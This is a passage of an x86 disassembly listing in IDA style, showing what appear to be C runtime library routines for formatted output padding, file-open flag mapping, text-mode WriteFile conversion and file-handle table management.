edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_40A0A5 ; --------------------------------------------------------------------------- loc_40A087: ; CODE XREF: sub_409C30+440j mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_40A0A5 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_40A0A5: ; CODE XREF: sub_409C30+415j ; sub_409C30+435j ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_40B250 add esp, 8 jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A0C9: ; DATA XREF: DMN0:0040FD94o mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+3Ah] mov [ebp+var_24], eax cmp eax, 68h jz loc_40A1B2 cmp eax, 6Ah jz short loc_40A15A cmp eax, 6Ch jz loc_40A1CD jg short loc_40A0F7 cmp [ebp+var_24], 62h jz short loc_40A11C jmp loc_40A1E7 ; --------------------------------------------------------------------------- loc_40A0F7: ; CODE XREF: sub_409C30+4BAj mov eax, [ebp+var_24] cmp eax, 71h jz short loc_40A136 cmp eax, 74h jz short loc_40A17E cmp eax, 71h jl loc_40A1E7 cmp [ebp+var_24], 7Ah jz loc_40A198 jmp loc_40A1E7 ; --------------------------------------------------------------------------- loc_40A11C: ; CODE XREF: sub_409C30+4C0j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], al jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A136: ; CODE XREF: sub_409C30+4CDj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A15A: ; CODE XREF: sub_409C30+4AFj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A17E: ; CODE XREF: sub_409C30+4D2j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A198: ; CODE XREF: sub_409C30+4E1j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A1B2: ; CODE XREF: sub_409C30+4A6j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], ax jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A1CD: ; CODE XREF: sub_409C30+4B4j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A1E7: ; CODE XREF: sub_409C30+4C2j ; sub_409C30+4D7j ... mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A201: ; DATA XREF: DMN0:0040FD9Co mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [ebp+arg_0] mov edx, [edx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] xor ebx, ebx mov [eax], ecx mov [eax+4], ebx mov edx, [ebp+arg_0] mov dword ptr [edx+34h], 8 mov eax, [ebp+arg_0] or word ptr [eax+38h], 10h mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx push 78h mov eax, [ebp+arg_0] push eax call sub_40B000 add esp, 8 jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A25F: ; DATA XREF: DMN0:0040FDA8o mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz loc_40A2FF mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [ebp+var_2C], edx mov [eax], edx mov edx, [ebp+arg_0] mov eax, [ebp+var_2C] mov eax, [eax-4] mov [edx+10h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 0 jnz short loc_40A298 mov edx, [ebp+arg_0] mov dword ptr [edx+10h], offset dword_40FDC0 loc_40A298: ; CODE XREF: sub_409C30+65Cj mov eax, [ebp+arg_0] mov [ebp+var_38], eax cmp dword ptr [eax+2Ch], 0 jge short loc_40A2B9 mov edx, [ebp+arg_0] mov edx, [edx+10h] or eax, 0FFFFFFFFh loc_40A2AD: ; CODE XREF: sub_409C30+682j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_40A2AD mov [ebp+var_30], eax jmp short loc_40A2F4 ; --------------------------------------------------------------------------- loc_40A2B9: ; CODE XREF: sub_409C30+672j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] push edx push 0 mov eax, [eax+10h] push eax call sub_408FA0 add esp, 0Ch mov [ebp+var_28], eax test eax, eax jz short loc_40A2E5 mov eax, [ebp+var_28] mov edx, [ebp+arg_0] mov edx, [edx+10h] sub eax, edx mov [ebp+var_34], eax jmp short loc_40A2EE ; --------------------------------------------------------------------------- loc_40A2E5: ; CODE XREF: sub_409C30+6A3j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+var_34], eax loc_40A2EE: ; CODE XREF: sub_409C30+6B3j mov eax, [ebp+var_34] mov [ebp+var_30], eax loc_40A2F4: ; CODE XREF: sub_409C30+687j mov eax, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+1Ch], eax jmp short loc_40A362 ; --------------------------------------------------------------------------- loc_40A2FF: ; CODE XREF: sub_409C30+636j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] push eax mov eax, [ebp+arg_0] push eax call sub_40AEB0 add esp, 8 test eax, eax jge short loc_40A362 or eax, 0FFFFFFFFh jmp short loc_40A364 ; --------------------------------------------------------------------------- loc_40A322: ; CODE XREF: sub_409C30+23j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 25h jmp short loc_40A362 ; --------------------------------------------------------------------------- loc_40A337: ; CODE XREF: sub_409C30+29j ; sub_409C30+3Aj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx cmp [ebp+arg_8], 0 jz short loc_40A352 movzx eax, [ebp+arg_8] mov [ebp+var_28], eax jmp short loc_40A359 ; --------------------------------------------------------------------------- loc_40A352: ; CODE XREF: sub_409C30+717j mov [ebp+var_28], 25h loc_40A359: ; CODE XREF: sub_409C30+720j mov eax, [ebp+arg_C] mov ecx, [ebp+var_28] mov [eax+edx], cl loc_40A362: ; CODE XREF: sub_409C30+84j ; sub_409C30+BDj ... xor eax, eax loc_40A364: ; CODE XREF: sub_409C30+C6j ; sub_409C30+6F0j pop ebx mov esp, ebp pop ebp retn sub_409C30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A370 proc near ; CODE XREF: sub_4087E0+25Ap ; sub_40AEB0+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, [ebx+34h] sub eax, [ebx+14h] sub eax, [ebx+18h] sub eax, [ebx+1Ch] sub eax, [ebx+20h] sub eax, [ebx+24h] sub eax, [ebx+28h] mov [ebp+var_4], eax test word ptr [ebx+38h], 4 jnz short loc_40A3EF cmp [ebp+var_4], 0 jle short loc_40A3EF mov esi, [ebp+var_4] jmp short loc_40A3EB ; --------------------------------------------------------------------------- loc_40A3A7: ; CODE XREF: sub_40A370+7Dj cmp esi, 20h jbe short loc_40A3B5 mov [ebp+var_8], 20h jmp short loc_40A3BA ; --------------------------------------------------------------------------- loc_40A3B5: ; CODE XREF: sub_40A370+3Aj mov eax, esi mov [ebp+var_8], eax loc_40A3BA: ; CODE XREF: sub_40A370+43j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A3E9 push edi push offset asc_40FDC8 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A3E1 add [ebx+30h], edi jmp short loc_40A3E9 ; --------------------------------------------------------------------------- loc_40A3E1: ; CODE XREF: sub_40A370+6Aj or eax, 0FFFFFFFFh jmp loc_40A5D7 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A370+51j ; sub_40A370+6Fj sub esi, edi loc_40A3EB: ; CODE XREF: sub_40A370+35j test esi, esi jg short loc_40A3A7 loc_40A3EF: ; CODE XREF: sub_40A370+2Aj ; sub_40A370+30j cmp dword ptr [ebx+14h], 0 jle short loc_40A420 mov eax, [ebx+14h] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A418 mov eax, [ebx+14h] add [ebx+30h], eax jmp short loc_40A420 ; --------------------------------------------------------------------------- loc_40A418: ; CODE XREF: sub_40A370+9Ej or eax, 0FFFFFFFFh jmp loc_40A5D7 ; --------------------------------------------------------------------------- loc_40A420: ; CODE XREF: sub_40A370+83j ; sub_40A370+A6j cmp dword ptr [ebx+18h], 0 jle short loc_40A473 mov esi, [ebx+18h] jmp short loc_40A46F ; --------------------------------------------------------------------------- loc_40A42B: ; CODE XREF: sub_40A370+101j cmp esi, 20h jbe short loc_40A439 mov [ebp+var_8], 20h jmp short loc_40A43E ; --------------------------------------------------------------------------- loc_40A439: ; CODE XREF: sub_40A370+BEj mov eax, esi mov [ebp+var_8], eax loc_40A43E: ; CODE XREF: sub_40A370+C7j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A46D push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A465 add [ebx+30h], edi jmp short loc_40A46D ; --------------------------------------------------------------------------- loc_40A465: ; CODE XREF: sub_40A370+EEj or eax, 0FFFFFFFFh jmp loc_40A5D7 ; --------------------------------------------------------------------------- loc_40A46D: ; CODE XREF: sub_40A370+D5j ; sub_40A370+F3j sub esi, edi loc_40A46F: ; CODE XREF: sub_40A370+B9j test esi, esi jg short loc_40A42B loc_40A473: ; CODE XREF: sub_40A370+B4j cmp dword ptr [ebx+1Ch], 0 jle short loc_40A4A4 mov eax, [ebx+1Ch] push eax mov eax, [ebx+10h] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A49C mov eax, [ebx+1Ch] add [ebx+30h], eax jmp short loc_40A4A4 ; --------------------------------------------------------------------------- loc_40A49C: ; CODE XREF: sub_40A370+122j or eax, 0FFFFFFFFh jmp loc_40A5D7 ; --------------------------------------------------------------------------- loc_40A4A4: ; CODE XREF: sub_40A370+107j ; sub_40A370+12Aj cmp dword ptr [ebx+20h], 0 jle short loc_40A4F7 mov esi, [ebx+20h] jmp short loc_40A4F3 ; --------------------------------------------------------------------------- loc_40A4AF: ; CODE XREF: sub_40A370+185j cmp esi, 20h jbe short loc_40A4BD mov [ebp+var_8], 20h jmp short loc_40A4C2 ; --------------------------------------------------------------------------- loc_40A4BD: ; CODE XREF: sub_40A370+142j mov eax, esi mov [ebp+var_8], eax loc_40A4C2: ; CODE XREF: sub_40A370+14Bj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A4F1 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A4E9 add [ebx+30h], edi jmp short loc_40A4F1 ; --------------------------------------------------------------------------- loc_40A4E9: ; CODE XREF: sub_40A370+172j or eax, 0FFFFFFFFh jmp loc_40A5D7 ; --------------------------------------------------------------------------- loc_40A4F1: ; CODE XREF: sub_40A370+159j ; sub_40A370+177j sub esi, edi loc_40A4F3: ; CODE XREF: sub_40A370+13Dj test esi, esi jg short loc_40A4AF loc_40A4F7: ; CODE XREF: sub_40A370+138j cmp dword ptr [ebx+24h], 0 jle short loc_40A52D mov eax, [ebx+24h] push eax mov eax, [ebx+1Ch] mov edx, [ebx+10h] add eax, edx push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A525 mov eax, [ebx+24h] add [ebx+30h], eax jmp short loc_40A52D ; --------------------------------------------------------------------------- loc_40A525: ; CODE XREF: sub_40A370+1ABj or eax, 0FFFFFFFFh jmp loc_40A5D7 ; --------------------------------------------------------------------------- loc_40A52D: ; CODE XREF: sub_40A370+18Bj ; sub_40A370+1B3j cmp dword ptr [ebx+28h], 0 jle short loc_40A57D mov esi, [ebx+28h] jmp short loc_40A579 ; --------------------------------------------------------------------------- loc_40A538: ; CODE XREF: sub_40A370+20Bj cmp esi, 20h jbe short loc_40A546 mov [ebp+var_8], 20h jmp short loc_40A54B ; --------------------------------------------------------------------------- loc_40A546: ; CODE XREF: sub_40A370+1CBj mov eax, esi mov [ebp+var_8], eax loc_40A54B: ; CODE XREF: sub_40A370+1D4j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A577 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A572 add [ebx+30h], edi jmp short loc_40A577 ; --------------------------------------------------------------------------- loc_40A572: ; CODE XREF: sub_40A370+1FBj or eax, 0FFFFFFFFh jmp short loc_40A5D7 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_40A370+1E2j ; sub_40A370+200j sub esi, edi loc_40A579: ; CODE XREF: sub_40A370+1C6j test esi, esi jg short loc_40A538 loc_40A57D: ; CODE XREF: sub_40A370+1C1j test word ptr [ebx+38h], 4 jz short loc_40A5D5 cmp [ebp+var_4], 0 jle short loc_40A5D5 mov esi, [ebp+var_4] jmp short loc_40A5D1 ; --------------------------------------------------------------------------- loc_40A590: ; CODE XREF: sub_40A370+263j cmp esi, 20h jbe short loc_40A59E mov [ebp+var_8], 20h jmp short loc_40A5A3 ; --------------------------------------------------------------------------- loc_40A59E: ; CODE XREF: sub_40A370+223j mov eax, esi mov [ebp+var_8], eax loc_40A5A3: ; CODE XREF: sub_40A370+22Cj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A5CF push edi push offset asc_40FDC8 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A5CA add [ebx+30h], edi jmp short loc_40A5CF ; --------------------------------------------------------------------------- loc_40A5CA: ; CODE XREF: sub_40A370+253j or eax, 0FFFFFFFFh jmp short loc_40A5D7 ; --------------------------------------------------------------------------- loc_40A5CF: ; CODE XREF: sub_40A370+23Aj ; sub_40A370+258j sub esi, edi loc_40A5D1: ; CODE XREF: sub_40A370+21Ej test esi, esi jg short loc_40A590 loc_40A5D5: ; CODE XREF: sub_40A370+213j ; sub_40A370+219j xor eax, eax loc_40A5D7: ; CODE XREF: sub_40A370+74j ; sub_40A370+ABj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40A370 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5E0 proc near ; CODE XREF: sub_408B20+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_4] mov eax, ebx and eax, 3 mov esi, dword_40FE0C[eax*4] test ebx, 4 jz short loc_40A5FF or esi, 8 loc_40A5FF: ; CODE XREF: sub_40A5E0+1Aj test ebx, 8 jz short loc_40A60D or esi, 200h loc_40A60D: ; CODE XREF: sub_40A5E0+25j test ebx, 10h jz short loc_40A61B or esi, 100h loc_40A61B: ; CODE XREF: sub_40A5E0+33j test ebx, 20h jz short loc_40A62B or esi, 8000h jmp short loc_40A631 ; --------------------------------------------------------------------------- loc_40A62B: ; CODE XREF: sub_40A5E0+41j or esi, 4000h loc_40A631: ; CODE XREF: sub_40A5E0+49j push 180h push esi mov eax, [ebp+arg_0] push eax call sub_40B8B0 add esp, 0Ch pop esi pop ebx pop ebp retn sub_40A5E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40A650 proc near ; CODE XREF: sub_408C70+Dp push 6 call sub_40BCC0 pop ecx push 1 call sub_4079E0 pop ecx retn sub_40A650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A670 proc near ; CODE XREF: sub_40A860+4Bp ; sub_40CC50+ADp var_411 = byte ptr -411h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi mov [ebp+var_C], 0 mov [ebp+var_4], 0 cmp [ebp+arg_8], 0 jnz short loc_40A697 xor eax, eax jmp loc_40A859 ; --------------------------------------------------------------------------- loc_40A697: ; CODE XREF: sub_40A670+1Ej mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 20h jz short loc_40A6C3 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_40BDF0 add esp, 0Ch loc_40A6C3: ; CODE XREF: sub_40A670+41j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 80h jz loc_40A7A4 mov esi, [ebp+arg_4] mov [ebp+var_10], 0 jmp loc_40A790 ; --------------------------------------------------------------------------- loc_40A6F2: ; CODE XREF: sub_40A670+12Cj lea edi, [ebp+var_411] jmp short loc_40A712 ; --------------------------------------------------------------------------- loc_40A6FA: ; CODE XREF: sub_40A670+C0j mov eax, esi inc esi mov bl, [eax] cmp bl, 0Ah jnz short loc_40A70D inc [ebp+var_4] mov eax, edi inc edi mov byte ptr [eax], 0Dh loc_40A70D: ; CODE XREF: sub_40A670+92j mov eax, edi inc edi mov [eax], bl loc_40A712: ; CODE XREF: sub_40A670+88j lea eax, [ebp+var_411] mov edx, edi sub edx, eax cmp edx, 400h jge short loc_40A732 mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb short loc_40A6FA loc_40A732: ; CODE XREF: sub_40A670+B2j push 0 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_411] mov edx, edi sub edx, eax mov eax, edx push eax lea eax, [ebp+var_411] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] mov eax, [eax+edx] push eax call dword_411E08 ; WriteFile test eax, eax jz short loc_40A785 mov eax, [ebp+var_8] add [ebp+var_C], eax lea edx, [ebp+var_411] mov ecx, edi sub ecx, edx cmp eax, ecx jge short loc_40A790 jmp short loc_40A7ED ; --------------------------------------------------------------------------- loc_40A785: ; CODE XREF: sub_40A670+FDj call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_10], eax jmp short loc_40A7ED ; --------------------------------------------------------------------------- loc_40A790: ; CODE XREF: sub_40A670+7Dj ; sub_40A670+111j mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb loc_40A6F2 jmp short loc_40A7ED ; --------------------------------------------------------------------------- loc_40A7A4: ; CODE XREF: sub_40A670+6Dj push 0 lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] mov eax, [eax+edx] push eax call dword_411E08 ; WriteFile test eax, eax jz short loc_40A7E4 mov [ebp+var_10], 0 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_40A7ED ; --------------------------------------------------------------------------- loc_40A7E4: ; CODE XREF: sub_40A670+163j call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_10], eax loc_40A7ED: ; CODE XREF: sub_40A670+113j ; sub_40A670+11Ej ... cmp [ebp+var_C], 0 jnz short loc_40A853 cmp [ebp+var_10], 0 jz short loc_40A81B cmp [ebp+var_10], 5 jnz short loc_40A80C call sub_4083A0 mov dword ptr [eax], 9 jmp short loc_40A816 ; --------------------------------------------------------------------------- loc_40A80C: ; CODE XREF: sub_40A670+18Dj mov eax, [ebp+var_10] push eax call sub_408240 pop ecx loc_40A816: ; CODE XREF: sub_40A670+19Aj or eax, 0FFFFFFFFh jmp short loc_40A859 ; --------------------------------------------------------------------------- loc_40A81B: ; CODE XREF: sub_40A670+187j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 40h jz short loc_40A843 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_40A843 xor eax, eax jmp short loc_40A859 ; --------------------------------------------------------------------------- loc_40A843: ; CODE XREF: sub_40A670+1C5j ; sub_40A670+1CDj call sub_4083A0 mov dword ptr [eax], 1Ch or eax, 0FFFFFFFFh jmp short loc_40A859 ; --------------------------------------------------------------------------- loc_40A853: ; CODE XREF: sub_40A670+181j mov eax, [ebp+var_C] sub eax, [ebp+var_4] loc_40A859: ; CODE XREF: sub_40A670+22j ; sub_40A670+1A9j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40A670 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A860 proc near ; CODE XREF: sub_408CA0+79p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_0] cmp ebx, dword_413A88 jnb short loc_40A88B mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40A89B loc_40A88B: ; CODE XREF: sub_40A860+Ej call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40A8BE ; --------------------------------------------------------------------------- loc_40A89B: ; CODE XREF: sub_40A860+29j push ebx call sub_40AC80 pop ecx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax push ebx call sub_40A670 add esp, 0Ch mov esi, eax push ebx call sub_40ACE0 pop ecx mov eax, esi loc_40A8BE: ; CODE XREF: sub_40A860+39j pop esi pop ebx pop ebp retn sub_40A860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8D0 proc near ; CODE XREF: DMN0:loc_40AC2Ap ; sub_40B8E0:loc_40BADDp var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi or edi, 0FFFFFFFFh push 4 call sub_408740 pop ecx xor esi, esi loc_40A8E6: ; CODE XREF: sub_40A8D0+128j cmp dword_413988[esi*4], 0 jz loc_40A99D mov ebx, dword_413988[esi*4] jmp loc_40A982 ; --------------------------------------------------------------------------- loc_40A900: ; CODE XREF: sub_40A8D0+C0j test byte ptr [ebx+4], 1 jnz short loc_40A97F cmp dword ptr [ebx+8], 0 jnz short loc_40A92F push 3 call sub_408740 pop ecx cmp dword ptr [ebx+8], 0 jnz short loc_40A927 lea eax, [ebx+0Ch] push eax call dword_411CC8 ; InitializeCriticalSection inc dword ptr [ebx+8] loc_40A927: ; CODE XREF: sub_40A8D0+48j push 3 call sub_4087C0 pop ecx loc_40A92F: ; CODE XREF: sub_40A8D0+3Aj lea eax, [ebx+0Ch] push eax call dword_411CCC ; RtlEnterCriticalSection test byte ptr [ebx+4], 1 jz short loc_40A94B lea eax, [ebx+0Ch] push eax call dword_411CD0 ; RtlLeaveCriticalSection jmp short loc_40A97F ; --------------------------------------------------------------------------- loc_40A94B: ; CODE XREF: sub_40A8D0+6Dj mov dword ptr [ebx], 0FFFFFFFFh mov eax, esi shl eax, 5 mov [ebp+var_4], eax mov edx, dword_413988[esi*4] mov ecx, ebx sub ecx, edx mov eax, ecx push eax mov edx, 38E38E39h imul edx pop eax shr eax, 1Fh sar edx, 3 add eax, edx mov edx, [ebp+var_4] lea edi, [eax+edx] jmp short loc_40A996 ; --------------------------------------------------------------------------- loc_40A97F: ; CODE XREF: sub_40A8D0+34j ; sub_40A8D0+79j add ebx, 24h loc_40A982: ; CODE XREF: sub_40A8D0+2Bj mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb loc_40A900 loc_40A996: ; CODE XREF: sub_40A8D0+ADj cmp edi, 0FFFFFFFFh jz short loc_40A9F4 jmp short loc_40A9FE ; --------------------------------------------------------------------------- loc_40A99D: ; CODE XREF: sub_40A8D0+1Ej push 480h call sub_4081A0 pop ecx mov ebx, eax test eax, eax jz short loc_40A9FE mov dword_413988[esi*4], ebx add dword_413A88, 20h jmp short loc_40A9D6 ; --------------------------------------------------------------------------- loc_40A9BE: ; CODE XREF: sub_40A8D0+114j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_40A9D6: ; CODE XREF: sub_40A8D0+ECj mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb short loc_40A9BE mov edi, esi shl edi, 5 push edi call sub_40AC80 pop ecx jmp short loc_40A9FE ; --------------------------------------------------------------------------- loc_40A9F4: ; CODE XREF: sub_40A8D0+C9j inc esi cmp esi, 40h jl loc_40A8E6 loc_40A9FE: ; CODE XREF: sub_40A8D0+CBj ; sub_40A8D0+DCj ... push 4 call sub_4087C0 pop ecx mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40A8D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AA10 proc near ; CODE XREF: sub_408D80+5Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb loc_40AA9F mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] add eax, edx test byte ptr [eax+4], 1 jz short loc_40AA9F cmp dword ptr [eax], 0FFFFFFFFh jz short loc_40AA9F test ebx, ebx jz short loc_40AA55 cmp ebx, 1 jz short loc_40AA64 cmp ebx, 2 jz short loc_40AA73 jmp short loc_40AA80 ; --------------------------------------------------------------------------- loc_40AA55: ; CODE XREF: sub_40AA10+37j push 0 push 0FFFFFFF6h call dword_411E0C ; SetStdHandle jmp short loc_40AA80 ; --------------------------------------------------------------------------- loc_40AA64: ; CODE XREF: sub_40AA10+3Cj push 0 push 0FFFFFFF5h call dword_411E0C ; SetStdHandle jmp short loc_40AA80 ; --------------------------------------------------------------------------- loc_40AA73: ; CODE XREF: sub_40AA10+41j push 0 push 0FFFFFFF4h call dword_411E0C ; SetStdHandle loc_40AA80: ; CODE XREF: sub_40AA10+43j ; sub_40AA10+52j ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov dword ptr [edx+eax], 0FFFFFFFFh xor eax, eax jmp short loc_40AAAD ; --------------------------------------------------------------------------- loc_40AA9F: ; CODE XREF: sub_40AA10+Bj ; sub_40AA10+2Bj ... call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_40AAAD: ; CODE XREF: sub_40AA10+8Dj pop ebx retn sub_40AA10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AAB0 proc near ; CODE XREF: DMN0:0040AC4Cp ; sub_40B8E0+2B4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb loc_40AB41 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] cmp dword ptr [edx+eax], 0FFFFFFFFh jnz short 